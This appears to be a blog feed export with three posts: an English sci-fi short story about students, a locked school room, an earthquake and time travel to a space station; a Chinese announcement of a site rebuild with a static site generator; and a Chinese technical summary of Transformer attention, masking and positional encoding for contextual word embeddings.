長門有希The Data Integration Thought Entityde81d5fe-7e4b-50d8-82cb-a225c7712cef2024-03-17T15:59:48Z長門有希yuki@yuki-nagato.com9fa4247b-9485-5a05-be20-a6a1e5f5fbb0Door2024-02-10T21:30:00+08:00<h2 id="preface-in-2024">Preface (in 2024)</h2>
<p>Happy New Year!</p>
<p>Today is the first day of the Lunar New Year. The past year has been a new beginning for us. On some levels, people’s attention to science fiction has never been as enthusiastic as in 2023. I remembered that I had written a science fiction (fantasy) novel before, titled “The Door”. This novel was written in 2015. At that time, besides me, there were several other authors, but I can’t remember who they were. I’m really sorry. I want to post this novel here today as part of my annual summary and the first post of the new year. Since most of the content is written by me, and no one cares about the content, there should be no copyright issues.</p>
<p>The following is the text.</p>
<h2 id="cover">Cover</h2>
<figure>
<img src="/article-assets/door/cover.png" alt="Cover">
<figcaption aria-hidden="true">Cover</figcaption>
</figure>
<!-- more -->
<h2 id="prologue">Prologue</h2>
<p>This is a point in the universe, 345 km above the sea level of earth. How far is it? You can say it is not so far for the thickness of atmosphere is above 1000 km. you can also say it is far enough, for 200 km higher than the mesosphere, in the thermosphere of the ionosphere. The air is ionized into positive and negative ion, they attract each other, and then get impact, to absorb and release the heat endlessly.</p>
<p>Time, a wonderful thing among the universe, we don’t know which is elder. However, ‘Universe have “begin”, but with no “end”. Stars have “begin”, but will subduct because of the loss of energy.’ Although the sentence is mysterious, it shows the power of ‘time’. Maybe, only universe itself can be the opponent of ‘time’. If someone have technology to control time, that person will be the ruler of the world.</p>
<p>Sometime, 345 km above the sea level of earth, a space station appeared. Supposing that someone in the space station look out of the window, he will find that he is geosynchronous, and just below him, there is a playground with 200m track. But nobody will do that anymore, just like a little camera abandoned by people in open country will never be used to take photos. The space station is forgotten by human forever, and nobody will find it again.</p>
<blockquote>
<p>The next person who will never turn up:</p>
<p>I’m the last human being in the ISS, and also the last lonely one. The place is the end of all, or maybe, it is also the beginning of all. However, I don’t care of this anymore.</p>
<p>I was already lost every hope of the research these years, the result is even worse. I can’t break the established cause and effect. Besides, as the last person, I can’t finish my mission. Perhaps, this is the meaning of our human race existence,</p>
</blockquote>
<p>This is the ending part of the last experiment report in space station, it is neither experimental results nor experimental conclusion, it is a letter with no end, the second part seems to be destroyed by somebody on purpose, only the front half part remains.</p>
<h2 id="chapter-0">Chapter 0</h2>
<p>Hot summer.</p>
<p>‘Jesus! Why the power is cut in such this weather? Why not prepare an emergency power supply?’</p>
<p>‘Even if there is, it won’t be used in air-conditioner. Although our school’s air-conditioner is energy-efficient, every class uses it at the same time, there will be a large power consumption.’</p>
<p>The student beside me was talking about the ‘power-cut’ like this. But as a reasonable human-being, I also hated it bitterly. Barely had 5 lessons this morning, I had no appetite to have lunch.</p>
<p>But I had to. I stood up, and soon got vertigo because of a long-time lay on the desk. I touched the wall, took few deep breathing until the bad feelings gone. Then I took my spoons, and went to the cafeteria with some of my friends like before.</p>
<p>I would never know, that suffocating lunch, will be the beginning of the incident I will never forget whole my life.</p>
<h2 id="chapter-1">Chapter 1</h2>
<p>The lunch was as before, it tastes sweet when you eat the rice, and tastes bitter when you have the dishes. You can only taste it when the mixed up.</p>
<p>After the meal, we went for washing our hands as usual. Besides that, we also played a game at this time, it may sounds boring. The game is the people who finish washing early will hide behind the door wait for the people who finish the last. And when he come out, we jump out and scream to make him surprised. Though it is boring through my words, it was interesting for us, as the hidden place & reply strategies are multiple. We had played it many times.</p>
<p>I, the last person who finished washing, left the restroom. I held my breath and headed towards the school building I had to pay attention on every corner. Because of a large amount of experience I had, I could analyse where those people should be clearly.</p>
<p>‘This time is the corner of that door,’ I thought.</p>
<p>The door was located in -1/2 F, North building. It always locked and there were a sign on the door writing bilingually: 闲人莫进 (STAFF ONLY). I was closing to the door silently, and kick him rapidly. Of course, he was startled. But when I was going to run, I found something strange.</p>
<p>Despite of the material of the door was metal, there were windows on it. We couldn’t see anything through that window before. However, this time, there were light coming out of the room, and we could see clearly the light was from an old incandescent light bulb. My friends also noticed the strange about the room. We all peeped inside.</p>
<p>The room was in a mess. There were rough wooden articles everywhere, and wood chips on the floor. Was that a carpenter classroom before? No, it shouldn’t be, since those articles were gigantic. It was like a room of processing wooden articles rather than a classroom. Those unprocessed articles were piled up.</p>
<p>But these were all my guess. We couldn’t confirm what exactly the room was. And the most important thing was, why the lights had been turned on. It couldn’t be the janitor suddenly had a brainstorm and wanted to clean the room. We couldn’t see any living things through the window.</p>
<h2 id="chapter-2">Chapter 2</h2>
<p>A room with light proves someone has been in it. So this room must have somebody in. We looked at each other, and put our hand on the doorknob together.</p>
<p>Locked… as we expected. However, it could still be opened by other ways. We kicked the door hard, and the door just flew away. We held our breath for a while but nothing happened. Then, we stepped in.</p>
<p>Suddenly, we heard a voice, from our trouser pockets. We put our hands into the pocket, and took out our mobile phone.</p>
<p>All of us were astonished by the things in our hands.</p>
<p>It was our mobile phone of course, except the strips we couldn’t understand on the screen, just like a TV without signal, and also the white noise. You can imagine the feeling of a broken TV and radio. But the most important thing is, our cell phone had been shut down before we went to school.</p>
<p>I presumed that there must had a kind of electromagnetic wave which made our cell phone received the signals and came out the noise and pictures. We didn’t know whether it is harmful to human or not.</p>
<p>Therefore, I suggested us leaving there as soon as possible before we resolved this problem.</p>
<h2 id="chapter-3">Chapter 3</h2>
<p>The following day, we were still having our lunch in the stuffy basement.</p>
<p>‘Should we switch on the air conditioner?’ The girl beside me complained.</p>
<p>I deeply knew that this was impossible, for there was a ventilation pipe lead to the ground. Somehow our teachers always hope it completes the mission of refrigeration, they just ignored the temperature of ground was above 35℃ as well.</p>
<p>‘Shall we go to that weird room again?’</p>
<p>I was waiting for this, for I prepared ‘Geiger counter’, by which I can detect the harmfulness of electromagnetic wave clearly.</p>
<p>‘Let’s go. And this time we step a little more inside, to find out what on earth is in there.’</p>
<p>I agreed without words.</p>
<h2 id="chapter-4">Chapter 4</h2>
<p>We stood in front of the door, hold our breath, ready to open it.</p>
<p>The door opened… not by us.</p>
<p>It was power of the earth. The building was shaken wildly.</p>
<p>The earthquake! Stairs was blocked by the articles fallen from upstairs. We could just hide in a corner of that room, the woodworks in the room created a safe, triangle-shaped zone.</p>
<p>I took out my cell phone, try to contact to outside. But again, those mysterious stripes fill up the screen. What the hell? I put out my Geiger counter, and just before I could see the number on it, the woodworks crashed, a huge concrete flew to us.</p>
<h2 id="chapter-5">Chapter 5</h2>
<p>This is a point in the universe, 345 km above the sea level of the Earth. How far is it? You can say it is not so far, for the thickness of atmosphere is above 1000 km. You can say it is far enough as well, for the place is 200 km higher than the mesosphere, in the thermosphere of the ionosphere. The air is ionized positive and negative ion. They attract each other, and get impact, in order to absorb and release the heat endlessly.</p>
<p>I’m wondering the reason I stand in that space station, so I look forward to the monitor of space station, it shows the UTC time and the constant graphics of command center.</p>
<p>To my surprise, the time is 31 August, 2006. Although I don’t know what exactly the date today is, the time is long before I could remember. However, the more horrible thing is, there’s nobody in command center.</p>
<p>I search for the interphone in my space suit at once, but I fail. I suddenly remember that I oughtn’t to know what is interphone, inside my clothes pocket should be my cell phone!</p>
<p>I remember all, including what’s happening after the concrete flew to me. At that moment, my cell-phone was broken, and I slipped into a coma. After I waked up, I was here.</p>
<p>Looks like the time has been reset. The cell-phone brought me back to 2006, and only me. At this time, the earthquake has not happened, but the human race doesn’t exist anymore. Only me in this world.</p>
<p>I don’t know 9 years later whether the earthquake will happen or not, however, it doesn’t really matter, since human is extinct. ‘Maybe there is somebody like me back to this time by the same way, to the place I’m in.</p>
<p>So, I write a letter to that person who will never come.</p>
<p>The ending is:</p>
<blockquote>
<p>Despite of that, I believe I’m not alone. The restrain of time can be broken. If you find this letter, congratulations, you are the master of time. I believe you can go back, and tell your friends all you know.</p>
</blockquote>
af1496a6-41e5-5b73-a868-896396e33e6f本站已使用SnowbowHandlebars重构2023-05-31T21:50:00+08:00<p>很高兴地宣布,本站已经使用<a href="https://github.com/Yuki-Nagato/SnowbowHandlebars">SnowbowHandlebars</a>重构。这是一个基于Handlebars的静态博客生成引擎(static site generator),它的特点是:</p>
<ul>
<li>良好的i18n支持;</li>
<li>良好的pandoc支持;</li>
<li>良好的handlebars模板支持。</li>
</ul>
<!-- more -->
<p>相对于前代Snowbow,SnowbowHandlebars抛弃了Razor的历史包袱,使用了更加符合前端习惯的Handlebars模板语言,便于前端工程师开发新的主题。同时支持了.NET 6。</p>
<p>在i18n方面,比前代提供了更细粒度的语言优先级控制,支持文章使用除了默认语言之外的其他语言优先渲染。</p>
<p>与此同时,随着浏览器阅读模式的不断完善,RSS/Atom的价值越来越低,因此暂时放弃了对RSS/Atom的支持。不过之后有时间的话还是会加上的。</p>
<p>SnowbowHandlebars的源码已经开源,欢迎大家使用和反馈,地址:<a href="https://github.com/Yuki-Nagato/SnowbowHandlebars" class="uri">https://github.com/Yuki-Nagato/SnowbowHandlebars</a>。本站的主题lightsnow也已经开源,地址:<a href="https://gitlab.com/Yuki-Nagato/yuki-nagato.gitlab.io" class="uri">https://gitlab.com/Yuki-Nagato/yuki-nagato.gitlab.io</a>。</p>
387871c9-9037-5b40-adbd-afaa2abbaeec上下文词嵌入(Contextualized Word Embedding)总结2022-01-19T16:53:00+08:00<p>两个星期前我上传了静态词嵌入的总结,这次是上下文词嵌入(contextualized word embedding)的总结,包含一些预训练模型。<a href="/article-assets/contextualized-word-embedding/contextualized_word_embedding.pptx">PPT可以点击此处下载</a>。</p>
<h2 id="前言">前言</h2>
<p>在NLP领域中,一个重要的问题是如何表示词。在过去,有一些基于分布假说的Static Word Embeddings模型,如Word2vec和GloVe,他们利用词语的上下文分布信息学习每个词的静态嵌入表示,最后得到每个词对应的固定的向量。这种模型的缺点也很明显,第一是不能提现词语的多义性。尽管有一些基于上下文学习一个词对应多个词嵌入的方法,但是这些表示仍然是静态的,不能从根本上处理丰富的词义变化;第二是要将Static Word Embeddings应用到下游任务(例如Named Entity Recognition、Sentiment Analysis)时,还须要设计额外的分类模型,使用RNN或多层CNN再次获得当前的语境信息。</p>
<p>Contextual word embedding模型不再单独训练每个词的表示,而是以语境为单位,每次都输入完整的上下文,输出这些词在当前语境下的表示,并且同一个词在不同的语境中的表示是可变的。这样一方面解决了词语多义性的问题,另一方面通常无需再设计额外的下游任务模型,因为contextual word embedding已支持完整的上下文的输入输出。</p>
<p>本文首先介绍一个常用的特征提取模型Transformer (Vaswani et al., 2017),然后介绍contextual word embedding的训练过程,以及他们的评价方法和结果。</p>
<!-- more -->
<h2 id="transformer">Transformer</h2>
<p>Contextual word embedding的特点就在于其处理context的能力。Transformer对于序列元素间相关性的学习能力很强,为这一目标提供了基础结构。</p>
<h3 id="attention机制">Attention机制</h3>
<p>机器学习的性能很大程度上取决于提取的特征。对于序列的特征提取,曾经有基于RNN的方法和基于多层CNN的方法,他们都是使用hidden state保留部分序列的信息,然后逐渐扩展到整个序列。然而正是由于他们从部分序列出发的特点,导致他们处理长距离依赖关系的能力较差。Attention的基本想法是,一次性计算序列间所有元素两两之间的相关性,这样就避免了长距离依赖的问题。</p>
<p>Attention的核心在于三个矩阵:Query (Q), Key (K)和Value (V),两个序列间的相关性就是Q和K的相似度。具体地说,设</p>
<p><math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>Q</mi><mo>=</mo><mrow><mo stretchy="true" form="prefix">[</mo><mtable><mtr><mtd columnalign="center" style="text-align: center"><msub><mi>q</mi><mn>1</mn></msub></mtd></mtr><mtr><mtd columnalign="center" style="text-align: center"><msub><mi>q</mi><mn>2</mn></msub></mtd></mtr><mtr><mtd columnalign="center" style="text-align: center"><mi>…</mi></mtd></mtr><mtr><mtd columnalign="center" style="text-align: center"><msub><mi>q</mi><mi>m</mi></msub></mtd></mtr></mtable><mo stretchy="true" form="postfix">]</mo></mrow></mrow><annotation encoding="application/x-tex">Q = \begin{bmatrix}
q_{1} \\
q_{2} \\
\ldots \\
q_{m}
\end{bmatrix}</annotation></semantics></math></p>
<p><math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>K</mi><mo>=</mo><mrow><mo stretchy="true" form="prefix">[</mo><mtable><mtr><mtd columnalign="center" style="text-align: center"><msub><mi>k</mi><mn>1</mn></msub></mtd></mtr><mtr><mtd columnalign="center" style="text-align: center"><msub><mi>k</mi><mn>2</mn></msub></mtd></mtr><mtr><mtd columnalign="center" style="text-align: center"><mi>…</mi></mtd></mtr><mtr><mtd columnalign="center" style="text-align: center"><msub><mi>k</mi><mi>n</mi></msub></mtd></mtr></mtable><mo stretchy="true" form="postfix">]</mo></mrow></mrow><annotation encoding="application/x-tex">K = \begin{bmatrix}
k_{1} \\
k_{2} \\
\ldots \\
k_{n}
\end{bmatrix}</annotation></semantics></math></p>
<p><math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>V</mi><mo>=</mo><mrow><mo stretchy="true" form="prefix">[</mo><mtable><mtr><mtd columnalign="center" style="text-align: center"><msub><mi>v</mi><mn>1</mn></msub></mtd></mtr><mtr><mtd columnalign="center" style="text-align: center"><msub><mi>v</mi><mn>2</mn></msub></mtd></mtr><mtr><mtd columnalign="center" style="text-align: center"><mi>…</mi></mtd></mtr><mtr><mtd columnalign="center" style="text-align: center"><msub><mi>v</mi><mi>n</mi></msub></mtd></mtr></mtable><mo stretchy="true" form="postfix">]</mo></mrow></mrow><annotation encoding="application/x-tex">V = \begin{bmatrix}
v_{1} \\
v_{2} \\
\ldots \\
v_{n}
\end{bmatrix}</annotation></semantics></math></p>
<p>其中m和n是两个序列的长度,为了保证与Transformer论文中的表达一致,<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>q</mi><mi>i</mi></msub><mo>,</mo><mspace width="0.222em"></mspace><msub><mi>k</mi><mi>i</mi></msub><mo>,</mo><mspace width="0.222em"></mspace><msub><mi>v</mi><mi>i</mi></msub></mrow><annotation encoding="application/x-tex">q_{i},\ k_{i},\ v_{i}</annotation></semantics></math>都是行向量。那么Q和K的相关度有很多的计算方法,如</p>
<p><math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mtext mathvariant="normal">score</mtext><mrow><mo stretchy="true" form="prefix">(</mo><msub><mi>q</mi><mi>i</mi></msub><mo>,</mo><mspace width="0.222em"></mspace><msub><mi>k</mi><mi>j</mi></msub><mo stretchy="true" form="postfix">)</mo></mrow><mo>=</mo><mrow><mo stretchy="true" form="prefix">{</mo><mtable><mtr><mtd columnalign="left" style="text-align: left"><msub><mi>q</mi><mi>i</mi></msub><msubsup><mi>k</mi><mi>j</mi><mi>T</mi></msubsup></mtd><mtd columnalign="left" style="text-align: left"><mtext mathvariant="normal">(Dot-Product)</mtext></mtd></mtr><mtr><mtd columnalign="left" style="text-align: left"><msub><mi>q</mi><mi>i</mi></msub><mi>W</mi><msubsup><mi>k</mi><mi>j</mi><mi>T</mi></msubsup></mtd><mtd columnalign="left" style="text-align: left"><mtext mathvariant="normal">(General)</mtext></mtd></mtr><mtr><mtd columnalign="left" style="text-align: left"><mfrac><mrow><msub><mi>q</mi><mi>i</mi></msub><msubsup><mi>k</mi><mi>j</mi><mi>T</mi></msubsup></mrow><msqrt><mi>d</mi></msqrt></mfrac></mtd><mtd columnalign="left" style="text-align: left"><mtext mathvariant="normal">(Scaled Dot-Product)</mtext></mtd></mtr></mtable></mrow></mrow><annotation encoding="application/x-tex">\text{score}\left( q_{i},\ k_{j} \right) = \begin{cases}
q_{i}k_{j}^{T} & \text{(Dot-Product)} \\
q_{i}Wk_{j}^{T} & \text{(General)} \\
\frac{q_{i}k_{j}^{T}}{\sqrt{d}} & \text{(Scaled\ Dot-Product)}
\end{cases} </annotation></semantics></math></p>
<p>得到Q和K的相关度后,取softmax作为相关系数,然后求V的加权平均,就是attention的结果,即</p>
<p><math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mtable><mtr><mtd columnalign="right" style="text-align: right"><mtext mathvariant="normal">Attention</mtext><mrow><mo stretchy="true" form="prefix">(</mo><msub><mi>q</mi><mi>i</mi></msub><mo>,</mo><mspace width="0.222em"></mspace><mi>K</mi><mo>,</mo><mspace width="0.222em"></mspace><mi>V</mi><mo stretchy="true" form="postfix">)</mo></mrow></mtd><mtd columnalign="left" style="text-align: left"><mo>=</mo><mi>s</mi><mi>o</mi><mi>f</mi><mi>t</mi><mi>m</mi><mi>a</mi><mi>x</mi><mrow><mo stretchy="true" form="prefix">(</mo><mtext mathvariant="normal">score</mtext><mrow><mo stretchy="true" form="prefix">(</mo><msub><mi>q</mi><mi>i</mi></msub><mo>,</mo><mspace width="0.222em"></mspace><mi>K</mi><mo stretchy="true" form="postfix">)</mo></mrow><mo stretchy="true" form="postfix">)</mo></mrow><mi>V</mi></mtd></mtr><mtr><mtd columnalign="right" style="text-align: right"><mtext mathvariant="normal">Attention</mtext><mrow><mo stretchy="true" form="prefix">(</mo><mi>Q</mi><mo>,</mo><mi>K</mi><mo>,</mo><mi>V</mi><mo stretchy="true" form="postfix">)</mo></mrow></mtd><mtd columnalign="left" style="text-align: left"><mo>=</mo><mi>s</mi><mi>o</mi><mi>f</mi><mi>t</mi><mi>m</mi><mi>a</mi><mi>x</mi><mrow><mo stretchy="true" form="prefix">(</mo><mtext mathvariant="normal">score</mtext><mrow><mo stretchy="true" form="prefix">(</mo><mi>Q</mi><mo>,</mo><mi>K</mi><mo stretchy="true" form="postfix">)</mo></mrow><mo stretchy="true" form="postfix">)</mo></mrow><mi>V</mi></mtd></mtr></mtable><annotation encoding="application/x-tex">
\begin{align}
\text{Attention}\left( q_{i},\ K,\ V \right) &= softmax\left( \text{score}\left( q_{i},\ K \right) \right)V \\
\text{Attention}(Q,K,V) &= softmax\left( \text{score}(Q,K) \right)V
\end{align}</annotation></semantics></math></p>
<p>很自然地可以想到,如果想寻找同一个序列内部每两个元素之间的相关性,那么只需让Q和K对应同一个序列即可,这就是self-attention。</p>
<p>以上是attention机制的数学运算过程。不过在此之前的问题是,如何得到QKV三个矩阵。对于self-attention来说,QKV就是对序列做不同的线性变换,且这个变换是可学习的。设输入的序列为</p>
<p><math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>X</mi><mo>=</mo><mrow><mo stretchy="true" form="prefix">[</mo><mtable><mtr><mtd columnalign="center" style="text-align: center"><msub><mi>x</mi><mn>1</mn></msub></mtd></mtr><mtr><mtd columnalign="center" style="text-align: center"><msub><mi>x</mi><mn>2</mn></msub></mtd></mtr><mtr><mtd columnalign="center" style="text-align: center"><mi>…</mi></mtd></mtr><mtr><mtd columnalign="center" style="text-align: center"><msub><mi>x</mi><mi>n</mi></msub></mtd></mtr></mtable><mo stretchy="true" form="postfix">]</mo></mrow></mrow><annotation encoding="application/x-tex">X = \begin{bmatrix}
x_{1} \\
x_{2} \\
\ldots \\
x_{n}
\end{bmatrix}</annotation></semantics></math></p>
<p>其中<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msub><mi>x</mi><mi>i</mi></msub><annotation encoding="application/x-tex">x_{i}</annotation></semantics></math>是行向量。那么</p>
<p><math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>Q</mi><mo>=</mo><mi>X</mi><msup><mi>W</mi><mi>Q</mi></msup></mrow><annotation encoding="application/x-tex">Q = XW^{Q}</annotation></semantics></math></p>
<p><math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>K</mi><mo>=</mo><mi>X</mi><msup><mi>W</mi><mi>K</mi></msup></mrow><annotation encoding="application/x-tex">K = XW^{K}</annotation></semantics></math></p>
<p><math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>V</mi><mo>=</mo><mi>X</mi><msup><mi>W</mi><mi>V</mi></msup></mrow><annotation encoding="application/x-tex">V = XW^{V}</annotation></semantics></math></p>
<p>其中<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>W</mi><mi>Q</mi></msup><mo>,</mo><msup><mi>W</mi><mi>K</mi></msup><mo>,</mo><msup><mi>W</mi><mi>V</mi></msup></mrow><annotation encoding="application/x-tex">W^{Q},W^{K},W^{V}</annotation></semantics></math>都是可学习的参数。</p>
<h4 id="multi-head-attention">Multi-Head Attention</h4>
<p>在Transformer模型中,每个attention层都是multi-head attention。Multi-head attention的概念是,在进行attention操作之前,将QKV分别投影多次,称为多个head,每个head独立进行attention,最后将每个attention的输出拼接起来作为multi-head attention的输出。</p>
<p>具体地说,我们通过将输入做线性变换得到了QKV,这时,我们再对QKV做h次投影,然后做h次attention,即</p>
<p><math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mtext mathvariant="normal">head</mtext><mi>i</mi></msub><mo>=</mo><mtext mathvariant="normal">Attention</mtext><mrow><mo stretchy="true" form="prefix">(</mo><mi>Q</mi><msubsup><mi>W</mi><mi>i</mi><mi>Q</mi></msubsup><mo>,</mo><mspace width="0.222em"></mspace><mi>K</mi><msubsup><mi>W</mi><mi>i</mi><mi>K</mi></msubsup><mo>,</mo><mspace width="0.222em"></mspace><mi>V</mi><msubsup><mi>W</mi><mi>i</mi><mi>V</mi></msubsup><mo stretchy="true" form="postfix">)</mo></mrow></mrow><annotation encoding="application/x-tex">\text{head}_{i} = \text{Attention}\left( QW_{i}^{Q},\ KW_{i}^{K},\ VW_{i}^{V} \right)</annotation></semantics></math></p>
<p>最后将h个结果concatenate,然后再做一次线性变换,保证输出的维度是想要的维度,即</p>
<p><math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mtext mathvariant="normal">MultiHead</mtext><mrow><mo stretchy="true" form="prefix">(</mo><mi>Q</mi><mo>,</mo><mi>K</mi><mo>,</mo><mi>V</mi><mo stretchy="true" form="postfix">)</mo></mrow><mo>=</mo><mtext mathvariant="normal">Concat</mtext><mrow><mo stretchy="true" form="prefix">(</mo><msub><mtext mathvariant="normal">head</mtext><mn>1</mn></msub><mo>,</mo><mi>…</mi><mo>,</mo><msub><mtext mathvariant="normal">head</mtext><mi>h</mi></msub><mo stretchy="true" form="postfix">)</mo></mrow><msup><mi>W</mi><mi>O</mi></msup></mrow><annotation encoding="application/x-tex">\text{MultiHead}(Q,K,V) = \text{Concat}\left( \text{head}_{1},\ldots,\text{head}_{h} \right)W^{O}</annotation></semantics></math></p>
<p>其中<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msubsup><mi>W</mi><mi>i</mi><mi>Q</mi></msubsup><mo>∈</mo><msup><mi>ℝ</mi><mrow><msub><mi>d</mi><mtext mathvariant="normal">model</mtext></msub><mo>×</mo><msub><mi>d</mi><mi>k</mi></msub></mrow></msup><mo>,</mo><mspace width="0.222em"></mspace><msubsup><mi>W</mi><mi>i</mi><mi>K</mi></msubsup><mo>∈</mo><msup><mi>ℝ</mi><mrow><msub><mi>d</mi><mtext mathvariant="normal">model</mtext></msub><mo>×</mo><msub><mi>d</mi><mi>k</mi></msub></mrow></msup><mo>,</mo><mspace width="0.222em"></mspace><msubsup><mi>W</mi><mi>i</mi><mi>V</mi></msubsup><mo>∈</mo><msup><mi>ℝ</mi><mrow><msub><mi>d</mi><mtext mathvariant="normal">model</mtext></msub><mo>×</mo><msub><mi>d</mi><mi>v</mi></msub></mrow></msup><mo>,</mo><mspace width="0.222em"></mspace><msup><mi>W</mi><mi>O</mi></msup><mo>∈</mo><msup><mi>ℝ</mi><mrow><mi>h</mi><msub><mi>d</mi><mi>v</mi></msub><mo>×</mo><msub><mi>d</mi><mtext mathvariant="normal">model</mtext></msub></mrow></msup></mrow><annotation encoding="application/x-tex">W_{i}^{Q} \in \mathbb{R}^{d_{\text{model}} \times d_{k}},\ W_{i}^{K} \in \mathbb{R}^{d_{\text{model}} \times d_{k}},\ W_{i}^{V} \in \mathbb{R}^{d_{\text{model}} \times d_{v}},\ W^{O} \in \mathbb{R}^{hd_{v} \times d_{\text{model}}}</annotation></semantics></math>。</p>
<h3 id="transformer-block">Transformer Block</h3>
<p>Transformer与常见的seq2seq模型相同,具有多层encoder和多层decoder。其中每个encoder层包括以下子层:</p>
<ol type="1">
<li><p>Multi-head attention</p></li>
<li><p>Feed forward网络</p></li>
</ol>
<p>每个decoder层包括以下子层:</p>
<ol type="1">
<li><p>遮挡的multi-head attention</p></li>
<li><p>Multi-head attention</p></li>
<li><p>Feed forward网络</p></li>
</ol>
<p>每个子层在其周围有一个残差连接,然后进行层归一化。残差连接有助于避免深度网络中的梯度消失问题。每个子层的输出是LayerNorm(x + Sublayer(x))。归一化是在d_model(最后一个)维度完成的。</p>
<h4 id="attention-mask">Attention Mask</h4>
<p>所谓的mask就是通过修改attention机制,使得每个Q不能attend到一些K。具体到Transformer模型中,mask分为两种,分别是padding mask和look ahead mask,其中所有的attention都要用到padding mask,只有每个decoder的第一个attention用到look ahead mask。</p>
<p>Padding mask的作用是对输入序列进行对齐。因为每个输入序列的长度是不同的,但是模型的参数个数是固定的,也只能接收定长输入,所以我们要在较短的序列后面填充0。而这些填充的位置没有意义,所以attention不应当处理这些位置,所以我们通过padding mask实现这个目的。</p>
<p>Look ahead mask的作用是阻止decoder看到未来的序列。由于序列是从左到右生成的,因此在训练过程中,decoder应该只能依赖于t时刻之前的输出,而不能依赖t时刻之后的输出。所以我们通过look ahead mask实现这个目的。除了look ahead mask以外,还需要将decoder的输入右移一位。</p>
<p>添加mask的方法如论文中的图所示,在scaled dot-product之后、softmax之前将它设为负无穷。</p>
<figure>
<img src="/article-assets/contextualized-word-embedding/attention.png" alt="Attention与Mask">
<figcaption aria-hidden="true">Attention与Mask</figcaption>
</figure>
<p>这样在softmax后,对于当前的Q,该位置的K的权重就是0,保证输出不包含该位置的V。</p>
<h3 id="完整的原始transformer模型">完整的原始Transformer模型</h3>
<p>Transformer包括encoder、decoder和最后的线性层。</p>
<p>Encoder包括:</p>
<ol type="1">
<li><p>输入嵌入(Input Embedding)</p></li>
<li><p>位置编码(Positional Encoding)</p></li>
<li><p>N个encoder层</p></li>
</ol>
<p>Decoder包括:</p>
<ol type="1">
<li><p>输出嵌入(Output Embedding)</p></li>
<li><p>位置编码(Positional Encoding)</p></li>
<li><p>N个decoder层</p></li>
</ol>
<p>Decoder的输出是线性层的输入,最后返回线性层的输出。</p>
<h4 id="positional-encoding">Positional Encoding</h4>
<p>Attention机制每次可以获得序列间所有元素两两之间的相关性,但是它的一个问题是不能获得序列元素的位置信息。传统的RNN结构由于是逐个元素输入的,所以它已经隐式地处理了元素的前后位置关系。而attention机制每次是计算embedding的相似度,并不包含这些embedding的前后位置关系。对于NLP任务,embedding的顺序信息代表了句子中的词语顺序,这是很有必要的。</p>
<p>为了解决这个问题,论文中使用了Positional Encoding,在embedding输入前加入它的位置编码,让模型能获得每个词的位置信息。论文中的编码公式为</p>
<p><math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mtable><mtr><mtd columnalign="right" style="text-align: right"><msub><mtext mathvariant="normal">PE</mtext><mrow><mo stretchy="true" form="prefix">(</mo><mi>p</mi><mi>o</mi><mi>s</mi><mo>,</mo><mn>2</mn><mi>i</mi><mo stretchy="true" form="postfix">)</mo></mrow></msub><mo>=</mo></mtd><mtd columnalign="left" style="text-align: left"><mo>sin</mo><mrow><mo stretchy="true" form="prefix">(</mo><mfrac><mtext mathvariant="normal">pos</mtext><msup><mn>10000</mn><mfrac><mrow><mn>2</mn><mi>i</mi></mrow><msub><mi>d</mi><mtext mathvariant="normal">model</mtext></msub></mfrac></msup></mfrac><mo stretchy="true" form="postfix">)</mo></mrow></mtd></mtr><mtr><mtd columnalign="right" style="text-align: right"><msub><mtext mathvariant="normal">PE</mtext><mrow><mo stretchy="true" form="prefix">(</mo><mi>p</mi><mi>o</mi><mi>s</mi><mo>,</mo><mn>2</mn><mi>i</mi><mo>+</mo><mn>1</mn><mo stretchy="true" form="postfix">)</mo></mrow></msub><mo>=</mo></mtd><mtd columnalign="left" style="text-align: left"><mo>cos</mo><mrow><mo stretchy="true" form="prefix">(</mo><mfrac><mtext mathvariant="normal">pos</mtext><msup><mn>10000</mn><mfrac><mrow><mn>2</mn><mi>i</mi></mrow><msub><mi>d</mi><mtext mathvariant="normal">model</mtext></msub></mfrac></msup></mfrac><mo stretchy="true" form="postfix">)</mo></mrow></mtd></mtr></mtable><annotation encoding="application/x-tex">
\begin{align}
\text{PE}_{(pos,2i)} =& \sin\left( \frac{\text{pos}}{10000^{\frac{2i}{d_{\text{model}}}}} \right) \\
\text{PE}_{(pos,2i + 1)} =& \cos\left( \frac{\text{pos}}{10000^{\frac{2i}{d_{\text{model}}}}} \right)
\end{align}
</annotation></semantics></math></p>
<p>对于任意的k,<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mtext mathvariant="normal">PE</mtext><mrow><mo stretchy="true" form="prefix">(</mo><mi>p</mi><mi>o</mi><mi>s</mi><mo>+</mo><mi>k</mi><mo stretchy="true" form="postfix">)</mo></mrow></mrow><annotation encoding="application/x-tex">\text{PE}\left(pos + k \right)</annotation></semantics></math>可以用<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mtext mathvariant="normal">PE</mtext><mrow><mo stretchy="true" form="prefix">(</mo><mi>p</mi><mi>o</mi><mi>s</mi><mo stretchy="true" form="postfix">)</mo></mrow></mrow><annotation encoding="application/x-tex">\text{PE}(pos)</annotation></semantics></math>线性表示。注意由于Positional Encoding和Word Embedding是直接向量相加的,所以他们两者的长度相同,均为<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msub><mi>d</mi><mtext mathvariant="normal">model</mtext></msub><annotation encoding="application/x-tex">d_{\text{model}}</annotation></semantics></math>。</p>
